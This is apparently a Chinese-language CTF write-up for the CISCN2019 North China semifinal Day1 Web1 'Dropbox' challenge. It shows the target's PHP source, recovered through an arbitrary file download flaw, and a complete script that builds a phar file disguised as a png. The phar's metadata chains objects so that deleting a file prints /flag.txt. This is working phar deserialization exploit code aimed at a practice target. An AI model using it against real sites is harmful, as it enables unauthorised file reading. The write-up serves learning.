感谢buuoj的大佬们搭建的复现环境。作为一位CTF的初学者,我会把每个题目的writeup都写的尽量详细,希望能帮到后面的初学者。

http://web42.buuoj.cn

文章会不定时继续完善,完善内容可能包括分析的错误、语病和文章结构等。

复现过程

进入解题页面发现需要登录,这里只需要注册一个账号然后登录即可。

登录以后是一个网盘的页面,最开始只有上传功能,并且只能上传png,jpg等图片格式。

随便上传一个符合要求的文件,发现可以对其进行下载和删除。通过抓下载的包发现,该处存在一个任意文件下载的漏洞,可以下载源码。



利用该漏洞下载download.php,delete.php以及其需要包含的class.php的内容。

<?php
#download.php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
} if (!isset($_POST['filename'])) {
die();
} include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp"); chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=" . basename($filename));
echo $file->close();
} else {
echo "File not exist";
}
?>
<?php
#delete.php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
} if (!isset($_POST['filename'])) {
die();
} include "class.php"; chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
?>
<?php
#class.php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname); class User {
public $db; public function __construct() {
global $db;
$this->db = $db;
} public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
} public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
} public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
} public function __destruct() {
$this->db->close();
}
} class FileList {
private $files;
private $results;
private $funcs; public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path); $key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]); foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
} public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
} public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}
} class File {
public $filename; public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
} public function name() {
return basename($this->filename);
} public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
} public function detele() {
unlink($this->filename);
} public function close() {
return file_get_contents($this->filename);
}
}
?>

注意到File类中的close方法执行时会获得文件的内容,如果能触发该方法,就有机会得到flag。

运行如下PHP文件,生成一个phar文件,更改后缀名为png进行上传。

(具体原理见下文的原理分析)

<?php

class User {
public $db;
} class File {
public $filename;
}
class FileList {
private $files;
private $results;
private $funcs; public function __construct() {
$file = new File();
$file->filename = '/flag.txt';
$this->files = array($file);
$this->results = array();
$this->funcs = array();
}
} @unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub $o = new User();
$o->db = new FileList(); $phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("exp.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

在删除时使用burpsite抓包,修改参数,即可得到flag。

原理及源码分析

分析download.php的核心源码可以发现,该文件只有很常规的下载文件操作,并且限制了不能下载文件名中带有flag的文件。

<?php
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
#省略一些代码
echo $file->close();
} else {
echo "File not exist";
}
?>

接着分析delete.php的代码。

<?php
include "class.php";
if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
?>

单独看这段代码没有发现可以利用的地方,这段代码的作用只是返回一个成功或失败的消息。

接着分析class.php。

这个文件中定义了用户和文件相关的类。

<?php
#代码精简一下
class File {
public $filename; public function close() {
return file_get_contents($this->filename);
}
}
class User {
public $db;
public function __destruct() {
$this->db->close();
}
}
class FileList {
private $files;
private $results;
private $funcs; public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
public function __destruct() {
#省略了一些影响阅读的table创建代码
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '</tr>';
}
echo $table;
}
}
?>

File类中的close方法会获取文件内容,如果能触发该方法,就有可能获取flag。

User类中存在close方法,并且该方法在对象销毁时执行。

同时FileList类中存在call魔术方法,并且类没有close方法。如果一个Filelist对象调用了close()方法,根据call方法的代码可以知道,文件的close方法会被执行,就可能拿到flag。

根据以上三条线索,梳理一下可以得出结论:

如果能创建一个user的对象,其db变量是一个FileList对象,对象中的文件名为flag的位置。这样的话,当user对象销毁时,db变量的close方法被执行;而db变量没有close方法,这样就会触发call魔术方法,进而变成了执行File对象的close方法。通过分析FileList类的析构方法可以知道,close方法执行后存在results变量里的结果会加入到table变量中被打印出来,也就是flag会被打印出来。

想实现上述想法,可以借助phar的伪协议。有一篇文章对phar伪协议的利用讲的很好,可以参考如下链接:

https://xz.aliyun.com/t/2715

生成phar文件后在删除的时候进行触发即可得到flag。

ciscn2019华北赛区半决赛day1_web1题解的更多相关文章

  1. ciscn2019华北赛区半决赛day2_web1题解

    比赛结束以后采用非官方复现平台做的题,和比赛题有轻微不同,比赛中存放flag的table是ctf,这里是flag. 题目地址 buuoj.cn 解题过程 题目中只有一个页面,需要提交id. id为1, ...

  2. ciscn2019华北赛区半决赛day1web5CyberPunk

    刚比赛完的一段时间期末考试云集,没有时间复现题目.趁着假期,争取多复现几道题. 复现平台 buuoj.cn 解题过程 首先进入题目页面 看起来没有什么特别的,就是一个可以提交信息的页面.查看响应报文也 ...

  3. 刷题记录:[CISCN2019 华北赛区 Day1 Web1]Dropbox

    目录 刷题记录:[CISCN2019 华北赛区 Day1 Web1]Dropbox 一.涉及知识点 1.任意文件下载 2.PHAR反序列化RCE 二.解题方法 刷题记录:[CISCN2019 华北赛区 ...

  4. 刷题记录:[CISCN2019 华北赛区 Day2 Web1]Hack World

    目录 刷题记录:[CISCN2019 华北赛区 Day2 Web1]Hack World 一.前言 二.正文 1.解题过程 2.解题方法 刷题记录:[CISCN2019 华北赛区 Day2 Web1] ...

  5. 刷题记录:[CISCN2019 华北赛区 Day1 Web5]CyberPunk

    目录 刷题记录:[CISCN2019 华北赛区 Day1 Web5]CyberPunk 一.知识点 1.伪协议文件读取 2.报错注入 刷题记录:[CISCN2019 华北赛区 Day1 Web5]Cy ...

  6. 刷题记录:[CISCN2019 华北赛区 Day1 Web2]ikun

    目录 刷题记录:[CISCN2019 华北赛区 Day1 Web2]ikun 一.涉及知识点 1.薅羊毛逻辑漏洞 2.jwt-cookies伪造 Python反序列化 二.解题方法 刷题记录:[CIS ...

  7. PHAR伪协议&&[CISCN2019 华北赛区 Day1 Web1]Dropbox

    PHAR:// PHP文件操作允许使用各种URL协议去访问文件路径:如data://,php://,等等 include('php://filter/read=convert.base64-encod ...

  8. BUUCTF | [CISCN2019 华北赛区 Day2 Web1]Hack World

    id=0 id=1 id=2 id=3 发现结果不一样,尝试 : ">4","=4","<4" : 在自己的环境下验证一下: 爆 ...

  9. [CISCN2019 华北赛区 Day1 Web5]CyberPunk

    0x00 知识点 PHP伪协议直接读取源码 http://xxx.xxx/index.php?file=php://filter/convert.base64-encode/resource=inde ...

随机推荐

  1. [React] 函数定义组件

    函数定义组件的例子 function Welcome(props) { return <h1>Hello, {props.name}</h1>; } 该函数是一个有效的 Rea ...

  2. python使用tkinter无法给顶层窗体的输入框设定默认值

    这几天某同学遇到了一个棘手的问题,困扰了很久.今天终于解决了,我来记录一下坑. 情景:python 使用tkinter为第二层窗体(顶层窗体)中的一个输入框设定默认值时,总是无法设置,而且对输入框获取 ...

  3. Git和GitHub在线学习资源整理

    电子书 GotGitHub Git Workflow 沉浸式学习Git 文章 GitHub Fundamental visual-git-guide 图形化的Git参考手册 Linux下使用git命令 ...

  4. 部署python项目到linux服务器

    最近用Python写了个外挂,需要部署到Linux环境的服务器上,由于之前本地开发时使用virtualenv,使用这个虚拟环境有个好处是项目中依赖的库不会是全局的,只在当前项目的目录下有效,因为我是M ...

  5. Android笔记(三十六) AsyncTask是如何执行的?

    在上一个例子中,我们是在LoadImage的onPostExecute中修改的UI,不是说只允许在主线程中修改UI吗?我们看一下源代码是如何操作的. MainActicity.java package ...

  6. 【转】高性能网络编程2----TCP消息的发送

    在上一篇中,我们已经建立好的TCP连接,对应着操作系统分配的1个套接字.操作TCP协议发送数据时,面对的是数据流.通常调用诸如send或者write方法来发送数据到另一台主机,那么,调用这样的方法时, ...

  7. kubectl 命令自动补全

    kubectl 命令自动补全 在linux上 # yum install -y bash-completion # source /usr/share/bash-completion/bash_com ...

  8. 让 Python 代码更易维护的七种武器——代码风格(pylint、Flake8、Isort、Autopep8、Yapf、Black)测试覆盖率(Coverage)CI(JK)

    让 Python 代码更易维护的七种武器 2018/09/29 · 基础知识 · 武器 原文出处: Jeff Triplett   译文出处:linux中国-Hank Chow    检查你的代码的质 ...

  9. Caused by: org.xml.sax.SAXParseException; lineNumber: 64; columnNumber: 27; The entity name must immediately follow the '&' in the entity reference.

    java.lang.IllegalStateException: Failed to load ApplicationContext at org.springframework.test.conte ...

  10. linux下svn的使用

    环境搭建: yum install subversion       yum安装svn服务 svn --version 检查是否安装 cd /usr/local/svn/conf 找到conf 文件 ...